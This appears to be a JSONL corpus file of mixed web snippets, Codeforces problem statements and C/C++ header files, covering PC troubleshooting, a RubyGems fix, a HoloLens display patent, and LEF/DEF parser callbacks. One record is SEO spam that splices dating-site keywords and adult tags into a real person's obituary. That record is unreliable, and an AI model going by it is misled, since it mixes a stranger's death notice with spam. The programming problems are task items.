{"text": "The Older LGBTQ program provides people with opportunities to make deeper connections with their peers by socializing and learning through special events, guest speakers and promoting related community resources.\nThe Older LGBTQ program offers a weekly drop-in with programming for older LGBTQ people in our community. Everyone is invited, regardless of gender identity, gender expression or sexual orientation.\n1st. Mondays of the month , 6pm to 8pm\n2nd, 3rd, and 4th Mondays of the month: 1:00pm - 4:00pm.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 114, "token_count_with_eod": 115, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Policy development working group\nPolicy is a bedrock for system change. The system change that we are trying to inform concerns IPECP. For example, at the present time we do not have a clear consensus statement about IPECP. IPECP has been a nebulous notion leading to multiple interpretations of its applicability. It has also been some time since the Framework for Action on Interprofessional Education & Collaborative Practice and the Sydney Declaration have been revisited and updated. Therefore, this working group is tasked with developing a briefing note, i.e. a short paper that quickly and effectively inform decision-makers about IPECP, and updating the documents mentioned to serve as guidelines for IPECP implementers.\nTo inform IPECP policy development the objectives of this Working Group are:\n- To seek representation from each member network to form a horizontal Policy Development Working Group.\n- To develop a briefing note about IPECP that aligns with existing policy statements regarding the health of populations. For example, the statement might include an overarching description of the problem (current state and desired state), definitions, and longitudinal evaluation metrics.\n- To update the WHO Framework of Action on Interprofessional Education and Collaborative Practice (2010) and the Sydney Interprofessional Declaration (2010).\nClarity about the concept of IPECP; Updated documents to inform IPECP policy\nJosé Rodrigues & Barbara Maxwell (Facilitators)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 293, "token_count_with_eod": 294, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Apparently, this user prefers to keep an air of mystery about them.\n2 What can I do about a hard drive that's slowing down even though utilities say it's okay? Mar 22 '11\n1 I get sound but cannot playback videos ..? Mar 23 '11\n1 Monitor resolution leaves a blank spot Apr 7 '11\n0 Transferring an installed program to another PC Apr 7 '11", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Developers can rename a table in SQL Server “Denali”, MS SQL Server 2008 R2 and MS SQL Server 2005 Table Designer, by following the next steps:\n1. In Object Explorer, right-click the table they want to rename and choose Design (Modify in SP1 or earlier).\nThe table opens in the Table Definition window of Table Designer.\n2. From the View menu, choose Properties.\n3. In the field for the Name value in the Properties window, type a new name for the table.\n4. To cancel this action, press the ESC key before leaving this field.\n5. From the File menu choose Save table name.\nWhen developers rename a table and save it, its name is automatically updated in the database. Developers have to check in advance existing queries, views, user-defined functions, stored procedures, or programs refer to the renamed table, because its name modification will make these objects invalid.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You've got an array, consisting of n integers: a1, a2, ..., an. Your task is to quickly run the queries of two types:\n\n1. Assign value x to all elements from l to r inclusive. After such query the values of the elements of array al, al + 1, ..., ar become equal to x.\n2. Calculate and print sum $$\\sum_{i=l}^{r} a_i \\cdot (i-l+1)^k$$, where k doesn't exceed 5. As the value of the sum can be rather large, you should print it modulo 1000000007 (109 + 7).", "source": "cpt_codeforces", "language": "en", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Alice and Bob are playing a game. They have two strings $$$S$$$ and $$$T$$$ of the same length $$$n$$$ consisting of lowercase latin letters. Players take turns alternately, with Alice going first.\n\nOn her turn, Alice chooses an integer $$$i$$$ from $$$1$$$ to $$$n$$$, one of the strings $$$S$$$ or $$$T$$$, and any lowercase latin letter $$$c$$$, and replaces the $$$i$$$-th symbol in the chosen string with the character $$$c$$$.\n\nOn his turn, Bob chooses one of the strings $$$S$$$ or $$$T$$$, and reverses it. More formally, Bob makes the replacement $$$S := \\operatorname{rev}(S)$$$ or $$$T := \\operatorname{rev}(T)$$$, where $$$\\operatorname{rev}(P) = P_n P_{n-1} \\ldots P_1$$$.\n\nThe game lasts until the strings $$$S$$$ and $$$T$$$ are equal. As soon as the strings become equal, the game ends instantly.\n\nDefine the duration of the game as the total number of moves made by both players during the game. For example, if Alice made $$$2$$$ moves in total, and Bob made $$$1$$$ move, then the duration of this game is $$$3$$$.\n\nAlice's goal is to minimize the duration of the game, and Bob's goal is to maximize the duration of the game.\n\nWhat will be the duration of the game, if both players play optimally? It can be shown that the game will end in a finite number of turns.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This is so perfect! I have been reading about people in the community creating a dased line for their projects and I am delighted it is so easy!!! Going to be in my computer all day trying all these tips out! Thank you Jules!!!\nJust want to remind folks that there is an extension that converts the stroked dashes into actual dashed paths of any line that you make.\nYou should have been writing the Inkscape tutorials.\nJust a forwarding note… Much of what I added to a post on Creating a circular dashed line for perforating applies here as well, with the point being that it applies to more complex shapes rather than simple paths. I think that these two topics should be combined, IMO.\nEdit your post and link to it while it is still active. You have about a week, I think.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 168, "token_count_with_eod": 169, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How to be dating coach Chat lines people that is from f\nAlso surviving are her siblings, Mary Jane (and Ronald) Drach, Huntsville, Ala., Robert (and Sharon) Richter, Hoyt, Kan., Ellen Christianson, Lynn Richter and Laura Richter, all of Brainerd.\n- Skype sex girls to video chat free\n- ukdatinglinks net\n- help consolidating medical bills\n- average age to start dating in america\n- Swingerdating service\nWILLMAR - Leonette \"Lee\" Sadler, 80, of Willmar, died on Friday, July 3, 2009, at Golden Living Center in Olivia.\nLeonette Sadler Leonette \"Lee\" Lorraine (Richter) was born on Jan.\nAbove all, you and your boyfriend should respect each other.\nYou aren't one of his fraternity brothers and you don't need to hear about all the notches on his bedpost.\n17, 1949, Lee was united in marriage to Donald Sadler at Brainerd, Minn.\nThey lived in Brainerd, Bemidji, Park Rapids and St.\nI'd venture to say a little of both, and now I get to help other people in their effort to do the same.\nAll are nice, but I'd venture to say the last one is the most important.\nFor those individuals who want to go to the finish line & help me find them their most incredible woman of their dreams.Tags: Adult Dating, affair dating, sex dating", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 323, "token_count_with_eod": 324, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This program cannot display the webpage\nthis is the error in an getting in the view browser.\nAfter 1 hour or 2 hour the problem is automatically solved.\ni able to edit the View browser. Can any one give the Reason and\nSolution for that.\nI added ip and Host in Driver/Etc/host.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 67, "token_count_with_eod": 68, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Monocarp is going to host a party for his friends. He prepared $$$n$$$ dishes and is about to serve them. First, he has to add some powdered pepper to each of them — otherwise, the dishes will be pretty tasteless.\n\nThe $$$i$$$-th dish has two values $$$a_i$$$ and $$$b_i$$$ — its tastiness with red pepper added or black pepper added, respectively. Monocarp won't add both peppers to any dish, won't add any pepper multiple times, and won't leave any dish without the pepper added.\n\nBefore adding the pepper, Monocarp should first purchase the said pepper in some shop. There are $$$m$$$ shops in his local area. The $$$j$$$-th of them has packages of red pepper sufficient for $$$x_j$$$ servings and packages of black pepper sufficient for $$$y_j$$$ servings.\n\nMonocarp goes to exactly one shop, purchases multiple (possibly, zero) packages of each pepper in such a way that each dish will get the pepper added once, and no pepper is left. More formally, if he purchases $$$x$$$ red pepper packages and $$$y$$$ black pepper packages, then $$$x$$$ and $$$y$$$ should be non-negative and $$$x \\cdot x_j + y \\cdot y_j$$$ should be equal to $$$n$$$.\n\nFor each shop, determine the maximum total tastiness of the dishes after Monocarp buys pepper packages only in this shop and adds the pepper to the dishes. If it's impossible to purchase the packages in the said way, print -1.", "source": "cpt_codeforces", "language": "en", "token_count": 326, "token_count_with_eod": 327, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I need some urgents modification in my ASP.NET C# website ASAP (Like some graphics issue,SOAP web-services ,...).\nall this modifications must be doing full time and fix price\nI have this website ( www.nama-sa.com)\nbut has a lot of problems . you can check it and analysis\nall issue and error was attached in two documents .\nPlease ,.Before to apply in this job please read carefully the attached document\nif you are , so professional to complete this project and you are interested in this project please send your Skype id for more details , I would like this website working 100% without any problems.\nSkills: graphics, web-services", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 139, "token_count_with_eod": 140, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "while playing around with QueXF in order to get accustomed to the system, I followed the instructions to process the example forms (test_blank.pdf + .xml). Somehow the system or I myself got the banding wrong which I realized only after importing some data.\nHow can I remove the whole thing from the QueXF database so that I can start with “test_blank” from scratch?\nDr. Malte Persike\nDepartment for Statistical Methods\nJohannes Gutenberg University Mainz\nfon: +49 (6131) 39 39260\nfax: +49 (6131) 39 39186\nmobile: +49 (1525) 4223363", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The king is left alone on the chessboard. In spite of this loneliness, he doesn't lose heart, because he has business of national importance. For example, he has to pay an official visit to square t. As the king is not in habit of wasting his time, he wants to get from his current position s to square t in the least number of moves. Help him to do this.\n\nIn one move the king can get to the square that has a common side or a common vertex with the square the king is currently in (generally there are 8 different squares he can move to).", "source": "cpt_codeforces", "language": "en", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#ifndef BIGINT_H\n#define BIGINT_H\n\n#include <QByteArray>\n\nclass BigInt\n{\npublic:\n    BigInt(quint64 val = 0);\n    BigInt(const BigInt &in);\n\n    void operator=(const BigInt &in);\n    void operator=(quint64 in);\n    friend bool operator==(const BigInt &a, const BigInt &b);\n    void increase();\n    const QByteArray getData() const;\n    void setData(const QByteArray &in);\n\nprivate:\n    QByteArray m_data;\n};\n\nbool operator==(const BigInt &a, const BigInt &b);\n\n#endif // BIGINT_H", "source": "cpt_stack_code", "language": "code", "token_count": 133, "token_count_with_eod": 134, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Right, so I got an issue with my primary gaming computer. My knowledge of computers is that of a stereotypical blond bimbo so I have no idea how to solve it, anyway, when I woke up I started up my computer and it worked just fine like it always did. Used my password to get in and then opened up Opera Web Browser (which had maybe a half a dozen tabs open from the night before) and Itunes, like I always do. I then went out to brew some coffee and when I came back I tried to scroll down on Itunes to select an artist to listen to. Didn't work. Huh... Itunes froze huh? Weird... So I clicked the tab to open up Opera instead at the bottom left corner and the button thingie worked to click, like, it did its little animation to click but it didn't change browsers. Wow, this is weird, both froze? The fuck is going on? So I tried ctrl alt del so I could close them down and restart the computer. Didn't work. So I restarted the computer and I'm greeted with this message: A bit worried, so I looked up the message on google on my phone real quick and saw some people suggesting I check out the hard drive in BIOS on startup. So I did that and I'm like \"er.... Fuck do I do here?\" Finally, I checked up some youtube videos where they solve this kind of problem and immediately noticed a big fucking difference between them and me. Checl out the BIOS optiobs for this guy: Versus what my BIOS screen looks like: So for the more tech savvy out there, what the hell is going on? Additional notes: I have two hard drives (though upon opening the computer and looking around I can only distinguish one), I have C, which is very small and I have E which is my primary storing device and where I install all my Steam games on. As it says in the picture, there is a slot where another hard drive could be. In the front of the computer is a sliding panel which has a little sticker that says \"please shut down the system before swapping the hard drive\" so, yeah, it is clearly a slot 'for' a hard drive but there's never been anything in there since I got the computer. Yesterday, the room got way too hot so I opened up a window to cool it down, my PC is right next to the window and often times when there is a sudden shift in air I can hear little... Settling noises... You know, like when a plastic bottle sort of settles when there is a sudden shift in the temperature? Little sort of \"pop\" noises. Anyway, it's happened before so I've never thought much of it but now I'm wondering if those little noises it would make actually broke somethhing. Fuck if I know, I'm a blond bimbo, remember?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 589, "token_count_with_eod": 590, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A brick is a strip of size $$$1 \\times k$$$, placed horizontally or vertically, where $$$k$$$ can be an arbitrary number that is at least $$$2$$$ ($$$k \\ge 2$$$).\n\nA brick wall of size $$$n \\times m$$$ is such a way to place several bricks inside a rectangle $$$n \\times m$$$, that all bricks lie either horizontally or vertically in the cells, do not cross the border of the rectangle, and that each cell of the $$$n \\times m$$$ rectangle belongs to exactly one brick. Here $$$n$$$ is the height of the rectangle $$$n \\times m$$$ and $$$m$$$ is the width. Note that there can be bricks with different values of k in the same brick wall.\n\nThe wall stability is the difference between the number of horizontal bricks and the number of vertical bricks. Note that if you used $$$0$$$ horizontal bricks and $$$2$$$ vertical ones, then the stability will be $$$-2$$$, not $$$2$$$.\n\nWhat is the maximal possible stability of a wall of size $$$n \\times m$$$?\n\nIt is guaranteed that under restrictions in the statement at least one $$$n \\times m$$$ wall exists.", "source": "cpt_codeforces", "language": "en", "token_count": 248, "token_count_with_eod": 249, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Microsoft is at the forefront of the augmented reality revolution with the HoloLens, but the headset has been dogged by complaints that the limited field of view (less than 40 degrees) actually covered by the display makes the marketing of the $3000 headset misleading, despite very few of the actual users complaining of the issue.\nNow Microsoft has posited a potential solution for the issue, but one which is unlikely to make the device much cheaper.\nIn a patent application they write:\nDisplay technologies that may be used for a near-eye display/HMD device include waveguide-based, birdbath, lightfield, and other suitable display configurations. However, each type of display may provide a distinct set of advantages and disadvantages. For example, waveguide-based and birdbath devices may provide high-resolution images with high sharpness and contrast ratios, but may only display across a narrow field of view with weak or no depth cues and low occlusion effects when presented over real-world objects (as viewed through the see-through display). Lightfield displays, such as pinlight displays, may provide images across a wide field of view with perceptible depth cues and the ability to occlude portions of a real-world environment (as viewed through the see-through display). However, such lightfield displays may suffer from low resolution, contrast, and sharpness, resulting in low quality images relative to the waveguide-based/birdbath configurations.\nThe HoloLens uses a waveguide display, which offers a sharp, high resolution but small field of view image, while the unicorn-like MagicLeap was meant to use lighfield technology, which offers a larger field of view and ability to be completely opaque to the outside world, but is less sharp and offers lower resolution.\nNow Microsoft proposes to combine the advantages of both technologies by stacking the two type of displays.\nThe present disclosure recognizes the complementary features of the above-described display configurations and provides display systems and methods that combine two types of display configurations to selectively present virtual objects via one or both of the types of display configurations based on features of the virtual objects. For example, in a display system with two types of display configurations, virtual objects to be presented in a periphery of a user’s viewspace (e.g., the viewspace of the user through a see-through display) may be presented via a display configuration that has a wide field of view. The location of the virtual object may be outside of the field of view of a display configuration with a narrow field of view, and the low resolution/quality of images produced by the configuration with a wide field of view may be tolerable in the peripheral region (e.g., as the user is not directly viewing the object). Other features taken into consideration when selectively presenting virtual objects via different display configurations of a display system will be described in more detail below.\nThe two displays could be used in various intelligent ways, such as showing some elements only on one display, or using the ability to black out a background using the lightfield display and then adding detail using the waveguide display.\nCombining the techniques could improve the field of view from 40 degrees to 80-90 degrees and also improve the quality of the images overall, but we suspect at significant cost to complexity and monetary cost.\nThe full patent can be seen here.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 679, "token_count_with_eod": 680, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "today I started rebuilding the site. All my games are now shown on one page, accessed by clicking 'Games' in the upper bar or 'Overview' in the submenu of Games. All other submenus are now links to the pages on other webpages (YY is YoYoGames, GJ is GameJolt). Further was the 'online' Highscore List on Micro Massive removed since nobody used it anyway. You can still send in GEM creations.\nThis is the start of the changes I'm I hope the site rebuild will become great.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 112, "token_count_with_eod": 113, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Happy new year! The year 2020 is also known as Year Gyeongja (경자년, gyeongja-nyeon) in Korea. Where did the name come from? Let's briefly look at the Gapja system, which is traditionally used in Korea to name the years.\n\nThere are two sequences of $$$n$$$ strings $$$s_1, s_2, s_3, \\ldots, s_{n}$$$ and $$$m$$$ strings $$$t_1, t_2, t_3, \\ldots, t_{m}$$$. These strings contain only lowercase letters. There might be duplicates among these strings.\n\nLet's call a concatenation of strings $$$x$$$ and $$$y$$$ as the string that is obtained by writing down strings $$$x$$$ and $$$y$$$ one right after another without changing the order. For example, the concatenation of the strings \"code\" and \"forces\" is the string \"codeforces\".\n\nThe year 1 has a name which is the concatenation of the two strings $$$s_1$$$ and $$$t_1$$$. When the year increases by one, we concatenate the next two strings in order from each of the respective sequences. If the string that is currently being used is at the end of its sequence, we go back to the first string in that sequence.\n\nFor example, if $$$n = 3, m = 4, s = $$${\"a\", \"b\", \"c\"}, $$$t =$$$ {\"d\", \"e\", \"f\", \"g\"}, the following table denotes the resulting year names. Note that the names of the years may repeat.\n\nYou are given two sequences of strings of size $$$n$$$ and $$$m$$$ and also $$$q$$$ queries. For each query, you will be given the current year. Could you find the name corresponding to the given year, according to the Gapja system?", "source": "cpt_codeforces", "language": "en", "token_count": 398, "token_count_with_eod": 399, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I came across this error when I tried to update my RubyGems because my Rails wanted version 1.3.1 and I was having 1.2.0.\nWhen I wrote “sudo gem update –system” on the terminal I came across the following error :\n/usr/bin/gem:23: uninitialized constant Gem::GemRunner(NameError)\nSo the solution is to add require ‘rubygems/gem_runner’ line to /usr/bin/gem . If you don’t know how to do this or if you are a newbie, don’t worry, I am explaining it below .\nStep 1 : Go to the terminal and type the following\n$ cd /usr/bin/\nThis will move you to the folder /usr/bin/\nStep 2 : Type the following command to open up file in text editor\n$ sudo pico gem and enter your password\nStep 3 : Add the line ‘rubygems/gem_runner’ to the gem file that opens up after Step 2 ,\nAdd the line before require ‘rubygems’\nStep 4 : Press Ctrl+X to save the file and exit\n4a) Press ‘Y’ if you think you have done the relevant changes correctly and want to save the file. Otherwise,\nPress ‘N’ and move out without saving.\n4b) If you press ‘Y’ in the previous step, it will ask you if you want to save the file with same name? , Just\npress ‘Enter’ and move out.\nI hope this solution will help you to solve your problem. I was successful in solving my problem on my Ubuntu 8.04.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 341, "token_count_with_eod": 342, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Web Apps / Web Based Mobile Applications\nWeb Application Designers and Developers in Dublin, Ireland\nWhat’s a web application, anyway?\nIn a nutshell, a web-based application uses a website as the interface, allowing anyone with an internet connection and browser to interact with it. Google Docs, for example, is a web-based application which, unlike Microsoft Office, does not require any installation on your device. You might expect an application to be a lighter version of its desktop counterpart, but it can be just as powerful – if not better – and allow users to share instantly.\nAs the technology advances and the programming landscape changes to accomodate the world’s growing technological needs, Dublin Web Designers constantly evaluates the latest trends in the development community. We improve ourselves to provide our clients the best possible development solutions.\nStill not convinced?\nAt Dublin Web Designers have experience in deploying large scale web application projects, working closely in consultation with our clients throughout. From specialised Web application development services using Node.js, PHP, Ruby on Rails, Python and Java. Client-side with AngularJS, Bootstrap, Backbone.js and jQuery we have the expertise to bring your idea to life.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 236, "token_count_with_eod": 237, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//***************************************************************************\n//* Copyright (c) 2015 Saint Petersburg State University\n//* Copyright (c) 2011-2014 Saint Petersburg Academic University\n//* All Rights Reserved\n//* See file LICENSE for details.\n//***************************************************************************\n\n#ifndef __OMP_WRAPPER_H__\n#define __OMP_WRAPPER_H__\n\n#include <cstdlib>\n\n#ifdef _OPENMP\n# include <omp.h>\n#else\n/* Provide single-threaded stubs */\n# define omp_set_num_threads(x)  ((void)(x))\n# define omp_get_max_threads()   1\n# define omp_get_thread_num()    0\n# define omp_get_num_threads()   1\n# define omp_lock_t              size_t\n# define omp_init_lock(x)        ((void)(x))\n# define omp_destroy_lock(x)     ((void)(x))\n# define omp_set_lock(x)         ((void)(x))\n# define omp_unset_lock(x)       ((void)(x))\n#endif\n\nstatic inline unsigned spades_set_omp_threads(unsigned max_threads) {\n    // Fix number of threads according to OMP capabilities.\n    unsigned omp_threads = (unsigned)omp_get_max_threads();\n    if (max_threads > omp_threads)\n        max_threads = omp_threads;\n\n    // Inform OpenMP runtime about this :)\n    omp_set_num_threads((int) max_threads);\n\n    return max_threads;\n}\n\n\n\n#endif /* __OMP_WRAPPER_H__ */", "source": "cpt_stack_code", "language": "code", "token_count": 309, "token_count_with_eod": 310, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/*\n * This  file  is  part  of  the  Cadence  LEF/DEF  Open   Source\n * Distribution,  Product Version 5.7, and is subject to the Cadence LEF/DEF\n * Open Source License Agreement.   Your  continued  use  of this file\n * constitutes your acceptance of the terms of the LEF/DEF Open Source\n * License and an agreement to abide by its  terms.   If you  don't  agree\n * with  this, you must remove this and any other files which are part of the\n * distribution and  destroy any  copies made.\n * \n * For updates, support, or to become part of the LEF/DEF Community, check\n * www.openeda.org for details.\n */\n\n#ifndef LEFRCALLBACKS_H\n#define LEFRCALLBACKS_H 1\n#include \"lefiKRDefs.h\"\n#include \"lefrReader.h\"\n\n/*\n * All declarations that are public (for the casual user) are found in\n */\n\n/*\n * lefrReader.hpp.\n */\n\n/*\n * These declarations are not seen by the general user.  Only the\n */\n\n/*\n * parser (lef.y ... lef.tab.c) should use them.\n */\n\n/*\n * These are the callback function pointers.\n */\n\n/*\n * They are set by calls lefined in lefrReader.hpp and lefrReader.cpp\n */\n\n/*\n * The grammer calls these as it parses the file.\n */\nextern lefrUnitsCbkFnType lefrUnitsCbk;\n\nextern lefrLayerCbkFnType lefrLayerCbk;\n\nextern lefrIntegerCbkFnType lefrCaseSensitiveCbk;\n\nextern lefrStringCbkFnType lefrNoWireExtensionCbk;\n\nextern lefrStringCbkFnType lefrBusBitCharsCbk;\n\nextern lefrStringCbkFnType lefrDividerCharCbk;\n\nextern lefrDoubleCbkFnType lefrVersionCbk;\n\nextern lefrStringCbkFnType lefrVersionStrCbk;\n\nextern lefrViaCbkFnType lefrViaCbk;\n\nextern lefrViaRuleCbkFnType lefrViaRuleCbk;\n\nextern lefrSpacingCbkFnType lefrSpacingCbk;\n\nextern lefrIRDropCbkFnType lefrIRDropCbk;\n\nextern lefrDoubleCbkFnType lefrDielectricCbk;\n\nextern lefrMinFeatureCbkFnType lefrMinFeatureCbk;\n\nextern lefrNonDefaultCbkFnType lefrNonDefaultCbk;\n\nextern lefrSiteCbkFnType lefrSiteCbk;\n\nextern lefrStringCbkFnType lefrMacroBeginCbk;\n\nextern lefrPinCbkFnType lefrPinCbk;\n\nextern lefrMacroCbkFnType lefrMacroCbk;\n\nextern lefrObstructionCbkFnType lefrObstructionCbk;\n\nextern lefrArrayCbkFnType lefrArrayCbk;\n\nextern lefrVoidCbkFnType lefrLibraryEndCbk;\n\nextern lefrTimingCbkFnType lefrTimingCbk;\n\n/* NEW CALLBACK add the extern here */\nextern lefrVoidCbkFnType lefrSpacingBeginCbk;\n\nextern lefrVoidCbkFnType lefrSpacingEndCbk;\n\nextern lefrStringCbkFnType lefrArrayBeginCbk;\n\nextern lefrStringCbkFnType lefrArrayEndCbk;\n\nextern lefrVoidCbkFnType lefrIRDropBeginCbk;\n\nextern lefrVoidCbkFnType lefrIRDropEndCbk;\n\nextern lefrVoidCbkFnType lefrPropBeginCbk;\n\nextern lefrVoidCbkFnType lefrPropEndCbk;\n\nextern lefrPropCbkFnType lefrPropCbk;\n\nextern lefrNoiseMarginCbkFnType lefrNoiseMarginCbk;\n\nextern lefrDoubleCbkFnType lefrEdgeRateThreshold1Cbk;\n\nextern lefrDoubleCbkFnType lefrEdgeRateThreshold2Cbk;\n\nextern lefrDoubleCbkFnType lefrEdgeRateScaleFactorCbk;\n\nextern lefrNoiseTableCbkFnType lefrNoiseTableCbk;\n\nextern lefrCorrectionTableCbkFnType lefrCorrectionTableCbk;\n\nextern lefrDoubleCbkFnType lefrInputAntennaCbk;\n\nextern lefrDoubleCbkFnType lefrOutputAntennaCbk;\n\nextern lefrDoubleCbkFnType lefrInoutAntennaCbk;\n\nextern lefrDoubleCbkFnType lefrAntennaInputCbk;\n\nextern lefrDoubleCbkFnType lefrAntennaInoutCbk;\n\nextern lefrDoubleCbkFnType lefrAntennaOutputCbk;\n\nextern lefrDoubleCbkFnType lefrManufacturingCbk;\n\nextern lefrUseMinSpacingCbkFnType lefrUseMinSpacingCbk;\n\nextern lefrStringCbkFnType lefrClearanceMeasureCbk;\n\nextern lefrStringCbkFnType lefrMacroClassTypeCbk;\n\nextern lefrMacroNumCbkFnType lefrMacroOriginCbk;\n\nextern lefrMacroNumCbkFnType lefrMacroSizeCbk;\n\nextern lefrStringCbkFnType lefrMacroEndCbk;\n\nextern lefrMaxStackViaCbkFnType lefrMaxStackViaCbk;\n\nextern lefrStringCbkFnType lefrExtensionCbk;\n\nextern lefrDensityCbkFnType lefrDensityCbk;\n\n/*\n * These are data structures that are filled while parsing the file.\n */\nextern lefiUserData lefrUserData;\n\nextern lefiUnits lefrUnits;\n\nextern lefiLayer lefrLayer;\n\nextern lefiVia  lefrVia;\n\nextern lefiViaRule lefrViaRule;\n\nextern lefiSpacing lefrSpacing;\n\nextern lefiIRDrop lefrIRDrop;\n\nextern lefiMinFeature lefrMinFeature;\n\nextern lefiNonDefault lefrNonDefault;\n\nextern lefiSite lefrSite;\n\nextern lefiMacro lefrMacro;\n\nextern lefiObstruction lefrObstruction;\n\nextern lefiPin  lefrPin;\n\nextern lefiArray lefrArray;\n\nextern lefiSitePattern *lefrSitePatternPtr;\n\nextern lefiGeometries *lefrGeometriesPtr;\n\nextern lefiTrackPattern *lefrTrackPatternPtr;\n\nextern lefiGcellPattern *lefrGcellPatternPtr;\n\nextern lefiProp lefrProp;\n\nextern lefiTiming lefrTiming;\n\nextern struct lefiNoiseMargin lefrNoiseMargin;\n\nextern lefiNoiseTable lefrNoiseTable;\n\nextern lefiCorrectionTable lefrCorrectionTable;\n\n/* NEW CALLBACK add the one static item here */\nextern lefiUseMinSpacing lefrUseMinSpacing;\n\nextern lefiAntennaPWL *lefrAntennaPWLPtr;\n\nextern lefiMaxStackVia lefrMaxStackVia;\n\nextern lefiDensity lefrDensity;\n\n/*\n * Flags that control parsing\n */\nextern int      lefrDoSite;\n\nextern int      lefrDoGeometries;\n\nextern int      lefrDoTrack;\n\nextern int      lefrDoGcell;\n\nextern int      lefrHasLayer;  /* 5.5 */\n\nextern int      lefrHasMaxVS;  /* 5.5 */\n\nextern int      lefrHasSpacingTbl;  /* 5.5 */\n\nextern int      lefrHasSpacing;  /* 5.5 */\n\n/*\n * Variables for property definition types\n */\nextern lefiPropType lefrLibProp;\n\nextern lefiPropType lefrCompProp;\n\nextern lefiPropType lefrPinProp;\n\nextern lefiPropType lefrMacroProp;\n\nextern lefiPropType lefrViaProp;\n\nextern lefiPropType lefrViaRuleProp;\n\nextern lefiPropType lefrLayerProp;\n\nextern lefiPropType lefrNondefProp;\n\n/*\n * Variables for the reader\n */\nextern int      use5_3;\n\nextern int      use5_4;\n\nextern int      hasVer;\n\nextern int      hasNameCase;\n\nextern int      hasBusBit;\n\nextern int      hasDivChar;\n\nextern int      aOxide;\n\nextern double   versionNum;\n\n/*\n * Variables for the max number of warning for the following sections\n */\nextern int      lefrAntennaInoutWarnings;\n\nextern int      lefrAntennaInputWarnings;\n\nextern int      lefrAntennaOutputWarnings;\n\nextern int      lefrArrayWarnings;\n\nextern int      lefrCaseSensitiveWarnings;\n\nextern int      lefrCorrectionTableWarnings;\n\nextern int      lefrDielectricWarnings;\n\nextern int      lefrEdgeRateThreshold1Warnings;\n\nextern int      lefrEdgeRateThreshold2Warnings;\n\nextern int      lefrEdgeRateScaleFactorWarnings;\n\nextern int      lefrInoutAntennaWarnings;\n\nextern int      lefrInputAntennaWarnings;\n\nextern int      lefrIRDropWarnings;\n\nextern int      lefrLayerWarnings;\n\nextern int      lefrMacroWarnings;\n\nextern int      lefrMaxStackViaWarnings;\n\nextern int      lefrMinFeatureWarnings;\n\nextern int      lefrNoiseMarginWarnings;\n\nextern int      lefrNoiseTableWarnings;\n\nextern int      lefrNonDefaultWarnings;\n\nextern int      lefrNoWireExtensionWarnings;\n\nextern int      lefrOutputAntennaWarnings;\n\nextern int      lefrPinWarnings;\n\nextern int      lefrSiteWarnings;\n\nextern int      lefrSpacingWarnings;\n\nextern int      lefrTimingWarnings;\n\nextern int      lefrUnitsWarnings;\n\nextern int      lefrUseMinSpacingWarnings;\n\nextern int      lefrViaRuleWarnings;\n\nextern int      lefrViaWarnings;\n\n/*\n * Parser utility routines.\n */\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 2178, "token_count_with_eod": 2179, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "https://www.invaluable.com/auction-lot/sandy-skoglund-b-1946-82-c-4wtmprck6xRadioactive Cats, 1980<br>dye bleach print<br>signed, titled, dated and numbered 'AP 5/10' in ink (on the recto)<br>26 x 33in. (65.9 x 83.7cm.)\nAll content, images, and intellectual property on this site protected by digital watermark technology. Digital copying of images strictly prohibited; violators will be pursued and prosecuted to the full extent of the law including the Digital Millennium Copyright Act.\nUnauthorized use including account sharing of Invaluable will result in permanent account cancellation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "CNCat 4.1.3 User Manual\nThe section contains options for the catalogue service operations:\n- database optimization;\n- removal of the catalogue contents;\n- synchronization of the number of links and names of child categories;\n- cleanup of the Deleted section:\n- checking e-mails send:\nNote. The catalogue and Deleted section cleanup is performed without any possibility to restore the deleted data.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 84, "token_count_with_eod": 85, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
